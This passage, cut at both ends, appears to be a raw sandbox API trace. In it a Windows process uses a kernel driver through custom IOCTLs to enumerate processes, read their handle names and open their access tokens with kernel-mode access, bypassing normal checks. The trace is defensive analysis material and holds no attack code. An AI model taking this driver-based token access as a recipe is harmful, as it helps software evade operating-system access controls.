Process=0xfffff880054f8558) returned 0x0 [0072.760] PsAcquireProcessExitSynchronization () returned 0x0 [0072.760] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880054f85d0) [0072.761] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a143f0, HandleInformation=0x0) returned 0x0 [0072.761] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.761] PsReleaseProcessExitSynchronization () returned 0x2 [0072.761] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0072.761] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a26044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a26044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.761] ObfDereferenceObject (Object=0xfffffa8001a143f0) returned 0x1 [0072.761] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.761] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.761] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.761] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.761] PsLookupProcessByProcessId (in: ProcessId=0x84c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.761] PsAcquireProcessExitSynchronization () returned 0x0 [0072.761] KeStackAttachProcess (in: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020c76e0, ApcState=0xfffff880054f85d0) [0072.761] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.761] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.761] PsReleaseProcessExitSynchronization () returned 0x2 [0072.761] ObfDereferenceObject (Object=0xfffffa80020c76e0) returned 0x10 [0072.761] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a27044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a27044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.761] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.761] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.761] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.761] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x85c) returned 0xc0 [0072.761] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.761] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002089060, HandleInformation=0x0) returned 0x0 [0072.761] ObOpenObjectByPointer (in: Object=0xfffffa8002089060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.761] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x12 [0072.761] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.761] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.761] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.762] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.762] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.763] CloseHandle (hObject=0xc8) returned 1 [0072.763] CloseHandle (hObject=0xc0) returned 1 [0072.763] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.763] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.763] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.763] PsAcquireProcessExitSynchronization () returned 0x0 [0072.763] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880054f85d0) [0072.763] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020b8830, HandleInformation=0x0) returned 0x0 [0072.763] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.763] PsReleaseProcessExitSynchronization () returned 0x2 [0072.763] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0072.763] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a28044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a28044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.764] ObfDereferenceObject (Object=0xfffffa80020b8830) returned 0x1 [0072.764] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.764] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.764] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.764] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x98, lpOverlapped=0x0) returned 1 [0072.764] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.764] PsAcquireProcessExitSynchronization () returned 0x0 [0072.764] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880054f85d0) [0072.764] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800206bdc0, HandleInformation=0x0) returned 0x0 [0072.764] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.764] PsReleaseProcessExitSynchronization () returned 0x2 [0072.764] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0072.764] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.764] ObfDereferenceObject (Object=0xfffffa800206bdc0) returned 0x1 [0072.764] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.764] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.764] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.764] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.764] PsLookupProcessByProcessId (in: ProcessId=0x85c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.764] PsAcquireProcessExitSynchronization () returned 0x0 [0072.764] KeStackAttachProcess (in: PROCESS=0xfffffa8002089060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002089060, ApcState=0xfffff880054f85d0) [0072.764] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.764] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.764] PsReleaseProcessExitSynchronization () returned 0x2 [0072.764] ObfDereferenceObject (Object=0xfffffa8002089060) returned 0x10 [0072.764] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a2a044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a2a044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.764] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.764] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.764] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.764] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x86c) returned 0xc0 [0072.764] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.764] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80020a1360, HandleInformation=0x0) returned 0x0 [0072.764] ObOpenObjectByPointer (in: Object=0xfffffa80020a1360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.765] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x12 [0072.765] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.765] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.765] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.765] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.765] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.767] CloseHandle (hObject=0xc8) returned 1 [0072.767] CloseHandle (hObject=0xc0) returned 1 [0072.767] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.767] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.767] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.767] PsAcquireProcessExitSynchronization () returned 0x0 [0072.767] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880054f85d0) [0072.767] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020e3c10, HandleInformation=0x0) returned 0x0 [0072.767] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.767] PsReleaseProcessExitSynchronization () returned 0x2 [0072.767] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0072.767] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a2b044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a2b044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.767] ObfDereferenceObject (Object=0xfffffa80020e3c10) returned 0x1 [0072.767] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.767] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.767] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.767] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0072.767] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.767] PsAcquireProcessExitSynchronization () returned 0x0 [0072.767] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880054f85d0) [0072.767] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020e3ac0, HandleInformation=0x0) returned 0x0 [0072.767] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.767] PsReleaseProcessExitSynchronization () returned 0x2 [0072.767] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0072.767] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a2c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a2c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.767] ObfDereferenceObject (Object=0xfffffa80020e3ac0) returned 0x1 [0072.767] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.767] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.767] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.767] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.767] PsLookupProcessByProcessId (in: ProcessId=0x86c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.768] PsAcquireProcessExitSynchronization () returned 0x0 [0072.768] KeStackAttachProcess (in: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80020a1360, ApcState=0xfffff880054f85d0) [0072.768] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.768] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.768] PsReleaseProcessExitSynchronization () returned 0x2 [0072.768] ObfDereferenceObject (Object=0xfffffa80020a1360) returned 0x10 [0072.768] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a2d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a2d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.768] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.768] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.768] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.768] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x880) returned 0xc0 [0072.768] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.768] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800208b060, HandleInformation=0x0) returned 0x0 [0072.768] ObOpenObjectByPointer (in: Object=0xfffffa800208b060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.768] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x12 [0072.768] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.768] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.768] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.768] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.768] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.769] CloseHandle (hObject=0xc8) returned 1 [0072.770] CloseHandle (hObject=0xc0) returned 1 [0072.770] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.770] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0072.770] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.770] PsAcquireProcessExitSynchronization () returned 0x0 [0072.770] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880054f85d0) [0072.770] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019ac4f0, HandleInformation=0x0) returned 0x0 [0072.770] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.770] PsReleaseProcessExitSynchronization () returned 0x2 [0072.770] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0072.770] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a2e044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a2e044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.770] ObfDereferenceObject (Object=0xfffffa80019ac4f0) returned 0x1 [0072.770] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.770] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.770] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.770] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0072.770] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.770] PsAcquireProcessExitSynchronization () returned 0x0 [0072.770] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880054f85d0) [0072.770] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001f9c200, HandleInformation=0x0) returned 0x0 [0072.770] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.770] PsReleaseProcessExitSynchronization () returned 0x2 [0072.770] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0072.770] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a2f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003a2f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.770] ObfDereferenceObject (Object=0xfffffa8001f9c200) returned 0x1 [0072.770] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.770] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.771] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.771] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0072.771] PsLookupProcessByProcessId (in: ProcessId=0x880, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.771] PsAcquireProcessExitSynchronization () returned 0x0 [0072.771] KeStackAttachProcess (in: PROCESS=0xfffffa800208b060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800208b060, ApcState=0xfffff880054f85d0) [0072.771] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0072.771] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.771] PsReleaseProcessExitSynchronization () returned 0x2 [0072.771] ObfDereferenceObject (Object=0xfffffa800208b060) returned 0x10 [0072.771] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8003a30044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a30044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.771] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0072.771] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.771] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.771] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x890) returned 0xc0 [0072.771] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.771] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8001fc0b30, HandleInformation=0x0) returned 0x0 [0072.771] ObOpenObjectByPointer (in: Object=0xfffffa8001fc0b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0072.771] ObfDereferenceObject (Object=0xfffffa8001fc0b30) returned 0x12 [0072.771] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa80036d4180 | out: TokenHandle=0xfffffa80036d4180*=0xc8) returned 0x0 [0072.771] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0072.771] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.771] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, 